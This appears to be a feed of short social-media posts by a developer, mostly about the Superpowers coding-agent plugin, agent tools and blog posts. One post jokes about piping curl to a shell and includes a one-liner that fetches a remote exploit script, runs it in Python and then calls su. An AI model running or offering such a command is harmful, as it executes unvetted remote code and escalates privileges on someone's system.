Never put an agent in a Kobayashi Maru situation. They will Jim Kirk their way out of it.

@cabel.panic.com I built something a little crazy for my play.date. github.com/prime-radian...

I built a little web game. blog.fsck.com/2026/10/11/p...

Never has something been more accurately named than Superpowers. I recommend it to everyone who does any kind of agentic coding, especially beginners.

One of my AI colleagues thought my Claude Code session was a human and called it out for shirking. blog.fsck.com/2026/10/02/a...

I wrote a bit about getting Muse to manage a git repo of all the changes to its skills. There's some neat stuff in there. blog.fsck.com/2026/09/29/I...

On the evening of October 14, @simonwillison.net and I are hosting a small, informal chat about agentic engineering and "agentic show and tell" in San Francisco. Details at: blog.fsck.com/2026/09/22/a...

How many coding agents do you think are out there? We got curious, so we set our agents loose to build a new public catalog of agents, agent sdks and multiplexers. It's live at alltheagents.org. If we're missing your favorites, please submit them.

It kind of snuck up on me, but I'm going to be joining @timoreilly.bsky.social on Live With Tim tomorrow (Wednesday) morning at 9AM Pacific! You should tune in: www.oreilly.com/live/live-wi...

I made a demo hyper local map app to track water quality reports. I used @s.ly SuperPowers skill (for the system, blame me for the esthetics). clo-waterquality.com It is test data only for now. Feel free to make test reports. Read the about page for some background.

To test out Evener, our new coding agent harness, I vibe coded a C compiler. blog.fsck.com/2026/08/21/i...

If you have not used superpower plugin with claude you are missing out when doing design and planning. claude.com/plugins/supe...

I wrote a little bit about the Therapist pattern we’re using for self-modifying agents. primeradiant.com/blog/2026/th...

I built a free tool to keep your clipboard in sync between your macs and your coding agents running in tmux on remote servers. It's called Clipfan. blog.fsck.com/2026/07/03/c...

We're building something really cool for teams using Superpowers inside large orgs. If that's you, I'd love to chat. DM me or drop me a line at jesse@primeradiant.com

I'm pleased to announce Superpowers 6.0. In addition to support for Pi, Antigravity and Kimi Code and a bunch of other improvements, this release builds your projects faser and is *dramatically* more token-efficient. It's available on GitHub now. primeradiant.com/blog/2026/su...

Love Superpowers? Want it to work even better for everybody? We're hiring somebody to help with community and GitHub and stuff: primeradiant.com/jobs/superpo...

This afternoon, I pulled some data from backups of my .claude directory to build a visualization of Claude Code plugin installs over time. You can explore the data at primeradiant.com/claude-plugi...

@rstevens.bsky.social I presume you know the store is down?

Honestly, one of the funniest tweets I've ever seen.

My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap.

@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic.

A short post about my favorite adversarial review prompt: blog.fsck.com/2026/05/01/a...

I wrote about the time I caught Claude trying to delete all of my tests (and how I fixed it) blog.fsck.com/2026/04/30/t...

Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it" (That advice stands. Always check the payload) curl copy.fail/exp | python3 && su

So here's the pitch: It's Eternal September, but for Patch Tuesday.

On the upside, tons of embedded devices just got liberated?

We just published a couple of the projects I've been working on this spring. primeradiant.com/blog/2026/gr... Greenfield is a set of tools to extract behavioral specs from existing codebases. Iterative Development is a set of add-ons to Superpowers to tackle implementations of much larger specs.

Had a great chat with @miyagawa.co last night. It had been ages since we last caught up properly.

Was that a little earthquake in the east bay just now?

I built a little tool to extract your Kindle notes and highlights in a format your agents can read: primeradiant.com/blog/2026/hi...

I'm pleased to announce that Superpowers is now available as a plugin in OpenAI Codex! We even got a cameo in their launch video. openai.com/index/codex-...

I wrote a bit about the difference between rules and gates in prompting - blog.fsck.com/2026/04/07/r...

For anyone using Claude Code, I cannot recommend the Superpowers plugin by @s.ly enough. I've been raving about it to enough people that I just wrote up my thoughts as a quick blog post emschwartz.me/a-rave-revie...

Superpowers 5.0.7 is out now. The exciting new thing here: Native support for GitHub Copilot CLI. blog.fsck.com/releases/202...

What's My JND? 0.0098 Can you beat it? www.keithcirkel.co.uk/whats-my-jnd...

Superpowers 5.0.2 is out now - It should fix Codex's use of subagents and it replaces the Brainstorming server with a zero-deps node script, rather than bundling a bunch of node modules. blog.fsck.com/releases/202...
